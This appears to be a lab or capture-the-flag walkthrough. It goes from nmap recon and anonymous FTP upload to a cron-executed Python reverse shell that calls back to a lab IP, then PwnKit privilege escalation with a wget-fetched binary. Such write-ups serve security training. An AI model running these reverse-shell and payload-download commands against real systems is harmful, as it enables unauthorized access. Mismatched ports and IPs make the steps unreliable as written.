Recon#

I started by scanning the target with nmap to identify open ports, running services, and their versions.

1
❯ nmap -sV -sC 10.48.171.86
2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-16 01:16 +0600
3
Nmap scan report for 10.48.171.86
4
Host is up (0.044s latency).
5
Not shown: 996 closed tcp ports (reset)
6
PORT    STATE SERVICE     VERSION
7
21/tcp  open  ftp         vsftpd 2.0.8 or later
8
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
9
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
10
| ftp-syst:
11
|   STAT:
12
| FTP server status:
13
|      Connected to ::ffff:192.168.161.227
14
|      Logged in as ftp
15
|      TYPE: ASCII
16
|      No session bandwidth limit
17
|      Session timeout in seconds is 300
18
|      Control connection is plain text
19
|      Data connections will be plain text
20
|      At session startup, client count was 2
21
|      vsFTPd 3.0.3 - secure, fast, stable
22
|_End of status
23
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
24
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X
25
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu

The most interesting result was the FTP service on port 21. Nmap also showed that anonymous FTP login was enabled, and the scripts directory was writable.

That immediately made FTP worth investigating.

FTP Access#

I connected to the FTP service:

1
ftp 10.48.171.86

Anonymous access was allowed, so I logged in using the anonymous account and inspected the available files and directories.

The writable scripts directory was particularly interesting because files placed there could potentially be processed by a scheduled task on the target.

Initial Foothold — Cron Job#

The clean.sh script was modified in the authorized lab environment to execute a reverse shell.

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.161.227",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

The IP address represents my lab machine, where I would receive the incoming connection.

1
put clean.sh

Catching the Reverse Shell#

Before waiting for the cron job to execute, I started a Netcat listener on my machine:

1
nc -nlvp 4444

After the cron job executed clean.sh, the reverse shell connected back to my listener.

I then verified the shell and checked the available files:

1
ls
2
cat user.txt

This confirmed that I had obtained the initial foothold and could retrieve the user flag.

Privilege escalation#

Check for SUID binaries:

1
find / -user root -perm -u=s 2>/dev/null

If /usr/bin/pkexec is present, you can attempt PwnKit-based escalation.

1
/usr/bin/env /bin/sh -p

1
python3 -m http.server 8080

1
wget http://192.168.252.3:8080/PwnKit
2
chmod +x PwnKit
3
./PwnKit

1
whoami

1
cd /root
2
ls

1
cat root.txt

Summary#

1. Performed service enumeration using Nmap.
2. Identified FTP, SSH, and Samba services running on the target.
3. Discovered that anonymous FTP access was enabled.
4. Identified a writable scripts directory through FTP.
5. Downloaded and inspected the available files.
6. Discovered the clean.sh script associated with a cron job.
7. Modified clean.sh to establish a reverse shell in the authorized lab environment.
8. Uploaded the modified script through FTP.
9. Started a Netcat listener and obtained an initial shell.
10. Retrieved the user.txt flag.
11. Enumerated SUID binaries for potential privilege-escalation vectors.
12. Identified /usr/bin/pkexec and investigated its version and configuration.
13. Successfully escalated privileges to root and retrieved the root.txt flag.